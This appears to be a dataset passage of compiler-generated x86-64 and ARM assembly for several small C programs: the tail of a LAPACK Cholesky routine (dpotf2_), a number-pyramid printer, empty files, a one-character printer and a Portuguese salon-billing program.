str r0, [fp, #-72]
str r1, [fp, #-76]
str r2, [fp, #-80]
str r3, [fp, #-84]
ldr r3, [fp, #4]
str r3, [fp, #-88]
ldr r3, .L99
ldr r3, [r3]
str r3, [fp, #-16]
mov r3,#0
ldr r3, [fp, #-84]
ldr r3, [r3]
str r3, [fp, #-48]
ldr r3, [fp, #-48]
add r3, r3, #1
str r3, [fp, #-44]
ldr r3, [fp, #-44]
lsl r3, r3, #3
rsb r3, r3, #0
ldr r2, [fp, #-80]
add r3, r2, r3
str r3, [fp, #-80]
ldr r3, [fp, #-88]
mov r2, #0
str r2, [r3]
ldr r1, .L99+4
ldr r0, [fp, #-72]
bl lsame_
str r0, [fp, #-40]
ldr r3, [fp, #-40]
cmp r3, #0
bne .L77
ldr r1, .L99+8
ldr r0, [fp, #-72]
bl lsame_
mov r3, r0
cmp r3, #0
bne .L77
ldr r3, [fp, #-88]
mvn r2, #0
str r2, [r3]
b .L78
.L77:
ldr r3, [fp, #-76]
ldr r3, [r3]
cmp r3, #0
bge .L79
ldr r3, [fp, #-88]
mvn r2, #1
str r2, [r3]
b .L78
.L79:
ldr r3, [fp, #-84]
ldr r2, [r3]
ldr r3, [fp, #-76]
ldr r3, [r3]
cmp r3, #1
movge r3, r3
movlt r3, #1
cmp r2, r3
bge .L78
ldr r3, [fp, #-88]
mvn r2, #3
str r2, [r3]
.L78:
ldr r3, [fp, #-88]
ldr r3, [r3]
cmp r3, #0
beq .L80
ldr r3, [fp, #-88]
ldr r3, [r3]
rsb r3, r3, #0
str r3, [fp, #-64]
sub r3, fp, #64
mov r2, #6
mov r1, r3
ldr r0, .L99+12
bl xerbla_
mov r3, #0
b .L97
.L80:
ldr r3, [fp, #-76]
ldr r3, [r3]
cmp r3, #0
bne .L82
mov r3, #0
b .L97
.L82:
ldr r3, [fp, #-40]
cmp r3, #0
beq .L83
ldr r3, [fp, #-76]
ldr r3, [r3]
str r3, [fp, #-64]
mov r3, #1
str r3, [fp, #-52]
b .L84
.L89:
ldr r3, [fp, #-52]
sub r3, r3, #1
str r3, [fp, #-60]
ldr r3, [fp, #-52]
ldr r2, [fp, #-48]
mul r2, r3, r2
ldr r3, [fp, #-52]
add r3, r2, r3
lsl r3, r3, #3
ldr r2, [fp, #-80]
add r3, r2, r3
ldmia r3, {r4-r5}
ldr r3, [fp, #-52]
ldr r2, [fp, #-48]
mul r3, r2, r3
add r3, r3, #1
lsl r3, r3, #3
ldr r2, [fp, #-80]
add r1, r2, r3
ldr r3, [fp, #-52]
ldr r2, [fp, #-48]
mul r3, r2, r3
add r3, r3, #1
lsl r3, r3, #3
ldr r2, [fp, #-80]
add r3, r2, r3
sub r0, fp, #60
ldr r2, .L99+16
str r2, [sp]
ldr r2, .L99+16
bl ddot_
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dsub
mov r2, r0
mov r3, r1
str r2, [fp, #-28]
str r3, [fp, #-24]
sub r1, fp, #28
ldmia r1, {r0-r1}
mov r2, #0
mov r3, #0
bl __aeabi_dcmple
mov r3, r0
cmp r3, #0
bne .L85
sub r3, fp, #28
mov r0, r3
bl disnan_
mov r3, r0
cmp r3, #0
beq .L86
.L85:
ldr r3, [fp, #-52]
ldr r2, [fp, #-48]
mul r2, r3, r2
ldr r3, [fp, #-52]
add r3, r2, r3
lsl r3, r3, #3
ldr r2, [fp, #-80]
add r1, r2, r3
sub r3, fp, #28
ldmia r3, {r2-r3}
stm r1, {r2-r3}
b .L87
.L86:
sub r3, fp, #28
ldmia r3, {r2-r3}
mov r0, r2
mov r1, r3
bl sqrt
mov r2, r0
mov r3, r1
str r2, [fp, #-28]
str r3, [fp, #-24]
ldr r3, [fp, #-52]
ldr r2, [fp, #-48]
mul r2, r3, r2
ldr r3, [fp, #-52]
add r3, r2, r3
lsl r3, r3, #3
ldr r2, [fp, #-80]
add r1, r2, r3
sub r3, fp, #28
ldmia r3, {r2-r3}
stm r1, {r2-r3}
ldr r3, [fp, #-76]
ldr r3, [r3]
ldr r2, [fp, #-52]
cmp r2, r3
bge .L88
ldr r3, [fp, #-52]
sub r3, r3, #1
str r3, [fp, #-60]
ldr r3, [fp, #-76]
ldr r2, [r3]
ldr r3, [fp, #-52]
sub r3, r2, r3
str r3, [fp, #-56]
ldr r3, [fp, #-52]
add r3, r3, #1
ldr r2, [fp, #-48]
mul r3, r2, r3
add r3, r3, #1
lsl r3, r3, #3
ldr r2, [fp, #-80]
add r3, r2, r3
ldr r2, [fp, #-52]
ldr r1, [fp, #-48]
mul r2, r1, r2
add r2, r2, #1
lsl r2, r2, #3
ldr r1, [fp, #-80]
add r2, r1, r2
ldr r1, [fp, #-52]
add r1, r1, #1
ldr r0, [fp, #-48]
mul r0, r1, r0
ldr r1, [fp, #-52]
add r1, r0, r1
lsl r1, r1, #3
ldr r0, [fp, #-80]
add r1, r0, r1
sub lr, fp, #56
sub ip, fp, #60
ldr r0, [fp, #-84]
str r0, [sp, #24]
str r1, [sp, #20]
ldr r1, .L99+20
str r1, [sp, #16]
ldr r1, .L99+16
str r1, [sp, #12]
str r2, [sp, #8]
ldr r2, [fp, #-84]
str r2, [sp, #4]
str r3, [sp]
ldr r3, .L99+24
mov r2, lr
mov r1, ip
ldr r0, .L99+28
bl dgemv_
ldr r3, [fp, #-76]
ldr r2, [r3]
ldr r3, [fp, #-52]
sub r3, r2, r3
str r3, [fp, #-60]
sub r3, fp, #28
ldmia r3, {r2-r3}
mov r0, #0
ldr r1, .L99+32
bl __aeabi_ddiv
mov r2, r0
mov r3, r1
str r2, [fp, #-36]
str r3, [fp, #-32]
ldr r3, [fp, #-52]
add r3, r3, #1
ldr r2, [fp, #-48]
mul r2, r3, r2
ldr r3, [fp, #-52]
add r3, r2, r3
lsl r3, r3, #3
ldr r2, [fp, #-80]
add r2, r2, r3
sub r1, fp, #36
sub r0, fp, #60
ldr r3, [fp, #-84]
bl dscal_
.L88:
ldr r3, [fp, #-52]
add r3, r3, #1
str r3, [fp, #-52]
.L84:
ldr r3, [fp, #-64]
ldr r2, [fp, #-52]
cmp r2, r3
ble .L89
b .L96
.L83:
ldr r3, [fp, #-76]
ldr r3, [r3]
str r3, [fp, #-64]
mov r3, #1
str r3, [fp, #-52]
b .L91
.L95:
ldr r3, [fp, #-52]
sub r3, r3, #1
str r3, [fp, #-60]
ldr r3, [fp, #-52]
ldr r2, [fp, #-48]
mul r2, r3, r2
ldr r3, [fp, #-52]
add r3, r2, r3
lsl r3, r3, #3
ldr r2, [fp, #-80]
add r3, r2, r3
ldmia r3, {r4-r5}
ldr r2, [fp, #-52]
ldr r3, [fp, #-48]
add r3, r2, r3
lsl r3, r3, #3
ldr r2, [fp, #-80]
add r1, r2, r3
ldr r2, [fp, #-52]
ldr r3, [fp, #-48]
add r3, r2, r3
lsl r3, r3, #3
ldr r2, [fp, #-80]
add r2, r2, r3
sub r0, fp, #60
ldr r3, [fp, #-84]
str r3, [sp]
mov r3, r2
ldr r2, [fp, #-84]
bl ddot_
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dsub
mov r2, r0
mov r3, r1
str r2, [fp, #-28]
str r3, [fp, #-24]
sub r1, fp, #28
ldmia r1, {r0-r1}
mov r2, #0
mov r3, #0
bl __aeabi_dcmple
mov r3, r0
cmp r3, #0
bne .L92
sub r3, fp, #28
mov r0, r3
bl disnan_
mov r3, r0
cmp r3, #0
beq .L93
.L92:
ldr r3, [fp, #-52]
ldr r2, [fp, #-48]
mul r2, r3, r2
ldr r3, [fp, #-52]
add r3, r2, r3
lsl r3, r3, #3
ldr r2, [fp, #-80]
add r1, r2, r3
sub r3, fp, #28
ldmia r3, {r2-r3}
stm r1, {r2-r3}
b .L87
.L93:
sub r3, fp, #28
ldmia r3, {r2-r3}
mov r0, r2
mov r1, r3
bl sqrt
mov r2, r0
mov r3, r1
str r2, [fp, #-28]
str r3, [fp, #-24]
ldr r3, [fp, #-52]
ldr r2, [fp, #-48]
mul r2, r3, r2
ldr r3, [fp, #-52]
add r3, r2, r3
lsl r3, r3, #3
ldr r2, [fp, #-80]
add r1, r2, r3
sub r3, fp, #28
ldmia r3, {r2-r3}
stm r1, {r2-r3}
ldr r3, [fp, #-76]
ldr r3, [r3]
ldr r2, [fp, #-52]
cmp r2, r3
bge .L94
ldr r3, [fp, #-76]
ldr r2, [r3]
ldr r3, [fp, #-52]
sub r3, r2, r3
str r3, [fp, #-60]
ldr r3, [fp, #-52]
sub r3, r3, #1
str r3, [fp, #-56]
ldr r3, [fp, #-52]
add r2, r3, #1
ldr r3, [fp, #-48]
add r3, r2, r3
lsl r3, r3, #3
ldr r2, [fp, #-80]
add r3, r2, r3
ldr r1, [fp, #-52]
ldr r2, [fp, #-48]
add r2, r1, r2
lsl r2, r2, #3
ldr r1, [fp, #-80]
add r2, r1, r2
ldr r1, [fp, #-52]
add r0, r1, #1
ldr r1, [fp, #-52]
ldr ip, [fp, #-48]
mul r1, ip, r1
add r1, r0, r1
lsl r1, r1, #3
ldr r0, [fp, #-80]
add r1, r0, r1
sub ip, fp, #56
sub r0, fp, #60
ldr lr, .L99+16
str lr, [sp, #24]
str r1, [sp, #20]
ldr r1, .L99+20
str r1, [sp, #16]
ldr r1, [fp, #-84]
str r1, [sp, #12]
str r2, [sp, #8]
ldr r2, [fp, #-84]
str r2, [sp, #4]
str r3, [sp]
ldr r3, .L99+24
mov r2, ip
mov r1, r0
ldr r0, .L99+36
bl dgemv_
ldr r3, [fp, #-76]
ldr r2, [r3]
ldr r3, [fp, #-52]
sub r3, r2, r3
str r3, [fp, #-60]
sub r3, fp, #28
ldmia r3, {r2-r3}
mov r0, #0
ldr r1, .L99+32
bl __aeabi_ddiv
mov r2, r0
mov r3, r1
str r2, [fp, #-36]
str r3, [fp, #-32]
ldr r3, [fp, #-52]
add r2, r3, #1
ldr r3, [fp, #-52]
ldr r1, [fp, #-48]
mul r3, r1, r3
add r3, r2, r3
lsl r3, r3, #3
ldr r2, [fp, #-80]
add r2, r2, r3
sub r1, fp, #36
sub r0, fp, #60
ldr r3, .L99+16
bl dscal_
.L94:
ldr r3, [fp, #-52]
add r3, r3, #1
str r3, [fp, #-52]
.L91:
ldr r3, [fp, #-64]
ldr r2, [fp, #-52]
cmp r2, r3
ble .L95
b .L96
.L87:
ldr r3, [fp, #-88]
ldr r2, [fp, #-52]
str r2, [r3]
.L96:
mov r3, #0
.L97:
ldr r2, .L99
ldr r1, [r2]
ldr r2, [fp, #-16]
eors r1, r2, r1
mov r2, #0
beq .L98
bl __stack_chk_fail
.L98:
mov r0, r3
sub sp, fp, #12
@ sp needed
pop {r4, r5, fp, pc}
.L100:
.align 2
.L99:
.word .LC7
.word .LC2
.word .LC3
.word .LC4
.word c__1
.word c_b12
.word c_b10
.word .LC5
.word 1072693248
.word .LC6
.size dpotf2_, .-dpotf2_
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "105433.c"
.intel_syntax noprefix
.text
.section .rodata
.LC0:
.string "Enter height of pyramid:"
.LC1:
.string "%hu"
.LC2:
.string "%3hu "
.text
.globl main
.type main, @function
main:
.LFB0:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 16
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
lea rdi, .LC0[rip]
mov eax, 0
call printf@PLT
lea rax, -14[rbp]
mov rsi, rax
lea rdi, .LC1[rip]
mov eax, 0
call __isoc99_scanf@PLT
mov WORD PTR -12[rbp], 1
jmp .L2
.L5:
movzx eax, WORD PTR -12[rbp]
mov WORD PTR -10[rbp], ax
jmp .L3
.L4:
movzx eax, WORD PTR -10[rbp]
mov esi, eax
lea rdi, .LC2[rip]
mov eax, 0
call printf@PLT
movzx eax, WORD PTR -10[rbp]
sub eax, 1
mov WORD PTR -10[rbp], ax
.L3:
cmp WORD PTR -10[rbp], 0
jne .L4
mov edi, 10
call putchar@PLT
movzx eax, WORD PTR -12[rbp]
add eax, 1
mov WORD PTR -12[rbp], ax
.L2:
movzx eax, WORD PTR -14[rbp]
cmp WORD PTR -12[rbp], ax
jbe .L5
mov eax, 0
mov rdx, QWORD PTR -8[rbp]
sub rdx, QWORD PTR fs:40
je .L7
call __stack_chk_fail@PLT
.L7:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE0:
.size main, .-main
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "105433.c"
.text
.section .rodata
.align 2
.LC0:
.ascii "Enter height of pyramid:\000"
.align 2
.LC1:
.ascii "%hu\000"
.align 2
.LC2:
.ascii "%3hu \000"
.align 2
.LC3:
.word __stack_chk_guard
.text
.align 2
.global main
.syntax unified
.arm
.fpu softvfp
.type main, %function
main:
@ args = 0, pretend = 0, frame = 16
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #16
ldr r3, .L8
ldr r3, [r3]
str r3, [fp, #-8]
mov r3,#0
ldr r0, .L8+4
bl printf
sub r3, fp, #14
mov r1, r3
ldr r0, .L8+8
bl __isoc99_scanf
mov r3, #1
strh r3, [fp, #-12] @ movhi
b .L2
.L5:
ldrh r3, [fp, #-12] @ movhi
strh r3, [fp, #-10] @ movhi
b .L3
.L4:
ldrh r3, [fp, #-10]
mov r1, r3
ldr r0, .L8+12
bl printf
ldrh r3, [fp, #-10]
sub r3, r3, #1
strh r3, [fp, #-10] @ movhi
.L3:
ldrh r3, [fp, #-10]
cmp r3, #0
bne .L4
mov r0, #10
bl putchar
ldrh r3, [fp, #-12]
add r3, r3, #1
strh r3, [fp, #-12] @ movhi
.L2:
ldrh r3, [fp, #-14]
ldrh r2, [fp, #-12]
cmp r2, r3
bls .L5
mov r3, #0
ldr r2, .L8
ldr r1, [r2]
ldr r2, [fp, #-8]
eors r1, r2, r1
mov r2, #0
beq .L7
bl __stack_chk_fail
.L7:
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L9:
.align 2
.L8:
.word .LC3
.word .LC0
.word .LC1
.word .LC2
.size main, .-main
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "658223.c"
.intel_syntax noprefix
.text
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "658223.c"
.text
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "308636.c"
.intel_syntax noprefix
.text
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "308636.c"
.text
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "788292.c"
.intel_syntax noprefix
.text
.globl main
.type main, @function
main:
.LFB0:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 16
mov DWORD PTR -4[rbp], 109
mov eax, DWORD PTR -4[rbp]
mov edi, eax
call putchar@PLT
mov eax, 1
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE0:
.size main, .-main
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "788292.c"
.text
.align 2
.global main
.syntax unified
.arm
.fpu softvfp
.type main, %function
main:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #8
mov r3, #109
str r3, [fp, #-8]
ldr r0, [fp, #-8]
bl putchar
mov r3, #1
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.size main, .-main
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "107960.c"
.intel_syntax noprefix
.text
.globl sexo
.bss
.type sexo, @object
.size sexo, 1
sexo:
.zero 1
.globl tipo
.align 16
.type tipo, @object
.size tipo, 20
tipo:
.zero 20
.globl convert
.align 4
.type convert, @object
.size convert, 4
convert:
.zero 4
.globl corte
.align 4
.type corte, @object
.size corte, 4
corte:
.zero 4
.globl barba
.align 4
.type barba, @object
.size barba, 4
barba:
.zero 4
.globl x
.align 4
.type x, @object
.size x, 4
x:
.zero 4
.globl fatura
.align 4
.type fatura, @object
.size fatura, 4
fatura:
.zero 4
.section .rodata
.LC0:
.string "%s"
.text
.globl check
.type check, @function
check:
.LFB0:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
lea rsi, sexo[rip]
lea rdi, .LC0[rip]
mov eax, 0
call __isoc99_scanf@PLT
movzx eax, BYTE PTR sexo[rip]
movsx eax, al
mov edi, eax
call tolower@PLT
mov BYTE PTR sexo[rip], al
movzx eax, BYTE PTR sexo[rip]
cmp al, 109
jne .L2
mov DWORD PTR x[rip], 0
mov eax, 0
jmp .L3
.L2:
movzx eax, BYTE PTR sexo[rip]
cmp al, 102
jne .L4
mov DWORD PTR x[rip], 1
mov eax, 1
jmp .L3
.L4:
mov DWORD PTR x[rip], 2
mov eax, 2
.L3:
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE0:
.size check, .-check
.section .rodata
.LC1:
.string "corte"
.LC5:
.string "penteado"
.LC7:
.string "maquiagem"
.LC9:
.string "BARBA\n%.2f\n"
.LC10:
.string "CORTE\n%.2f\n"
.LC11:
.string "AMBOS\n%.2f\n"
.text
.globl main
.type main, @function
main:
.LFB1:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
jmp .L6
.L13:
lea rsi, tipo[rip]
lea rdi, .LC0[rip]
mov eax, 0
call __isoc99_scanf@PLT
mov DWORD PTR convert[rip], 0
jmp .L7
.L8:
mov eax, DWORD PTR convert[rip]
cdqe
lea rdx, tipo[rip]
movzx eax, BYTE PTR [rax+rdx]
movsx eax, al
mov edi, eax
call tolower@PLT
mov edx, eax
mov eax, DWORD PTR convert[rip]
mov ecx, edx
cdqe
lea rdx, tipo[rip]
mov BYTE PTR [rax+rdx], cl
mov eax, DWORD PTR convert[rip]
add eax, 1
mov DWORD PTR convert[rip], eax
.L7:
mov eax, DWORD PTR convert[rip]
cmp eax, 19
jle .L8
mov eax, DWORD PTR x[rip]
test eax, eax
jne .L9
lea rsi, .LC1[rip]
lea rdi, tipo[rip]
call strcmp@PLT
test eax, eax
jne .L10
mov eax, DWORD PTR corte[rip]
add eax, 1
mov DWORD PTR corte[rip], eax
movss xmm1, DWORD PTR fatura[rip]
movss xmm0, DWORD PTR .LC2[rip]
addss xmm0, xmm1
movss DWORD PTR fatura[rip], xmm0
jmp .L6
.L10:
mov eax, DWORD PTR barba[rip]
add eax, 1
mov DWORD PTR barba[rip], eax
movss xmm1, DWORD PTR fatura[rip]
movss xmm0, DWORD PTR .LC3[rip]
addss xmm0, xmm1
movss DWORD PTR fatura[rip], xmm0
jmp .L6
.L9:
lea rsi, .LC1[rip]
lea rdi, tipo[rip]
call strcmp@PLT
test eax, eax
jne .L11
movss xmm1, DWORD PTR fatura[rip]
movss xmm0, DWORD PTR .LC4[rip]
addss xmm0, xmm1
movss DWORD PTR fatura[rip], xmm0
jmp .L6
.L11:
lea rsi, .LC5[rip]
lea rdi, tipo[rip]
call strcmp@PLT
test eax, eax
jne .L12
movss xmm1, DWORD PTR fatura[rip]
movss xmm0, DWORD PTR .LC6[rip]
addss xmm0, xmm1
movss DWORD PTR fatura[rip], xmm0
jmp .L6
.L12:
lea rsi, .LC7[rip]
lea rdi, tipo[rip]
call strcmp@PLT
test eax, eax
jne .L6
movss xmm1, DWORD PTR fatura[rip]
movss xmm0, DWORD PTR .LC8[rip]
addss xmm0, xmm1
movss DWORD PTR fatura[rip], xmm0
.L6:
mov eax, 0
call check
cmp eax, 2
jne .L13
mov edx, DWORD PTR barba[rip]
mov eax, DWORD PTR corte[rip]
cmp edx, eax
jle .L14
movss xmm0, DWORD PTR fatura[rip]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm0
movq rax, xmm2
movq xmm0, rax
lea rdi, .LC9[rip]
mov eax, 1
call printf@PLT
jmp .L15
.L14:
mov edx, DWORD PTR corte[rip]
mov eax, DWORD PTR barba[rip]
cmp edx, eax
jle .L16
movss xmm0, DWORD PTR fatura[rip]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm0
movq rax, xmm3
movq xmm0, rax
lea rdi, .LC10[rip]
mov eax, 1
call printf@PLT
jmp .L15
.L16:
movss xmm0, DWORD PTR fatura[rip]
pxor xmm4, xmm4
cvtss2sd xmm4, xmm0
movq rax, xmm4
movq xmm0, rax
lea rdi, .LC11[rip]
mov eax, 1
call printf@PLT
.L15:
mov eax, 0
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE1:
.size main, .-main
.section .rodata
.align 4
.LC2:
.long 1103626240
.align 4
.LC3:
.long 1097859072
.align 4
.LC4:
.long 1109393408
.align 4
.LC6:
.long 1112014848
.align 4
.LC8:
.long 1116471296
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "107960.c"
.text
.comm sexo,1,1
.comm tipo,20,4
.comm convert,4,4
.global corte
.bss
.align 2
.type corte, %object
.size corte, 4
corte:
.space 4
.global barba
.align 2
.type barba, %object
.size barba, 4
barba:
.space 4
.global x
.align 2
.type x, %object
.size x, 4
x:
.space 4
.global fatura
.align 2
.type fatura, %object
.size fatura, 4
fatura:
.space 4
.section .rodata
.align 2
.LC0:
.ascii "%s\000"
.text
.align 2
.global check
.syntax unified
.arm
.fpu softvfp
.type check, %function
check:
@ args = 0, pretend = 0, frame = 0
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
ldr r1, .L5
ldr r0, .L5+4
bl __isoc99_scanf
ldr r3, .L5
ldrb r3, [r3] @ zero_extendqisi2
mov r0, r3
bl tolower
mov r3, r0
and r2, r3, #255
ldr r3, .L5
strb r2, [r3]
ldr r3, .L5
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #109
bne .L2
ldr r3, .L5+8
mov r2, #0
str r2, [r3]
mov r3, #0
b .L3
.L2:
ldr r3, .L5
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #102
bne .L4
ldr r3, .L5+8
mov r2, #1
str r2, [r3]
mov r3, #1
b .L3
.L4:
ldr r3, .L5+8
mov r2, #2
str r2, [r3]
mov r3, #2
.L3:
mov r0, r3
pop {fp, pc}
.L6:
.align 2
.L5:
.word sexo
.word .LC0
.word x
.size check, .-check
.section .rodata
.align 2
.LC1:
.ascii "corte\000"
.global __aeabi_fadd
.align 2
.LC2:
.ascii "penteado\000"
.align 2
.LC3:
.ascii "maquiagem\000"
.global __aeabi_f2d
.align 2
.LC4:
.ascii "BARBA\012%.2f\012\000"
.align 2
.LC5:
.ascii "CORTE\012%.2f\012\000"
.align 2
.LC6:
.ascii "AMBOS\012%.2f\012\000"
.text
.align 2
.global main
.syntax unified
.arm
.fpu softvfp
.type main, %function
main:
@ args = 0, pretend = 0, frame = 0
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
b .L8
.L15:
ldr r1, .L20
ldr r0, .L20+4
bl __isoc99_scanf
ldr r3, .L20+8
mov r2, #0
str r2, [r3]
b .L9
.L10:
ldr r3, .L20+8
ldr r3, [r3]
ldr r2, .L20
ldrb r3, [r2, r3] @ zero_extendqisi2
mov r0, r3
bl tolower
mov r2, r0
ldr r3, .L20+8
ldr r3, [r3]
and r1, r2, #255
ldr r2, .L20
strb r1, [r2, r3]
ldr r3, .L20+8
ldr r3, [r3]
add r3, r3, #1
ldr r2, .L20+8
str r3, [r2]
.L9:
ldr r3, .L20+8
ldr r3, [r3]
cmp r3, #19
ble .L10
ldr r3, .L20+12
ldr r3, [r3]
cmp r3, #0
bne .L11
ldr r1, .L20+16
ldr r0, .L20
bl strcmp
mov r3, r0
cmp r3, #0
bne .L12
ldr r3, .L20+20
ldr r3, [r3]
add r3, r3, #1
ldr r2, .L20+20
str r3, [r2]
ldr r3, .L20+24
ldr r3, [r3] @ float
ldr r1, .L20+28
mov r0, r3
bl __aeabi_fadd
mov r3, r0
mov r2, r3
ldr r3, .L20+24
str r2, [r3] @ float
b .L8
.L12:
ldr r3, .L20+32
ldr r3, [r3]
add r3, r3, #1
ldr r2, .L20+32
str r3, [r2]
ldr r3, .L20+24
ldr r3, [r3] @ float
ldr r1, .L20+36
mov r0, r3
bl __aeabi_fadd
mov r3, r0
mov r2, r3
ldr r3, .L20+24
str r2, [r3] @ float
b .L8
.L11:
ldr r1, .L20+16
ldr r0, .L20
bl strcmp
mov r3, r0
cmp r3, #0
bne .L13
ldr r3, .L20+24
ldr r3, [r3] @ float
ldr r1, .L20+40
mov r0, r3
bl __aeabi_fadd
mov r3, r0
mov r2, r3
ldr r3, .L20+24
str r2, [r3] @ float
b .L8
.L13:
ldr r1, .L20+44
ldr r0, .L20
bl strcmp
mov r3, r0
cmp r3, #0
bne .L14
ldr r3, .L20+24
ldr r3, [r3] @ float
ldr r1, .L20+48
mov r0, r3
bl __aeabi_fadd
mov r3, r0
mov r2, r3
ldr r3, .L20+24
str r2, [r3] @ float
b .L8
.L14:
ldr r1, .L20+52
ldr r0, .L20
bl strcmp
mov r3, r0
cmp r3, #0
bne .L8
ldr r3, .L20+24
ldr r3, [r3] @ float
ldr r1, .L20+56
mov r0, r3
bl __aeabi_fadd
mov r3, r0
mov r2, r3
ldr r3, .L20+24
str r2, [r3] @ float
.L8:
bl check
mov r3, r0
cmp r3, #2
bne .L15
ldr r3, .L20+32
ldr r2, [r3]
ldr r3, .L20+20
ldr r3, [r3]
cmp r2, r3
ble .L16
ldr r3, .L20+24
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, r0
mov r3, r1
ldr r0, .L20+60
bl printf
b .L17
.L16:
ldr r3, .L20+20
ldr r2, [r3]
ldr r3, .L20+32
ldr r3, [r3]
cmp r2, r3
ble .L18
ldr r3, .L20+24
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, r0
mov r3, r1
ldr r0, .L20+64
bl printf
b .L17
.L18:
ldr r3, .L20+24
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, r0
mov r3, r1
ldr r0, .L20+68
bl printf
.L17:
mov r3, #0
mov r0, r3
pop {fp, pc}
.L21:
.align 2
.L20:
.word tipo
.word .LC0
.word convert
.word x
.word .LC1
.word corte
.word fatura
.word 1103626240
.word barba
.word 1097859072
.word 1109393408
.word .LC2
.word 1112014848
.word .LC3
.word 1116471296
.word .LC4
.word .LC5
.word .LC6
.size main, .-main
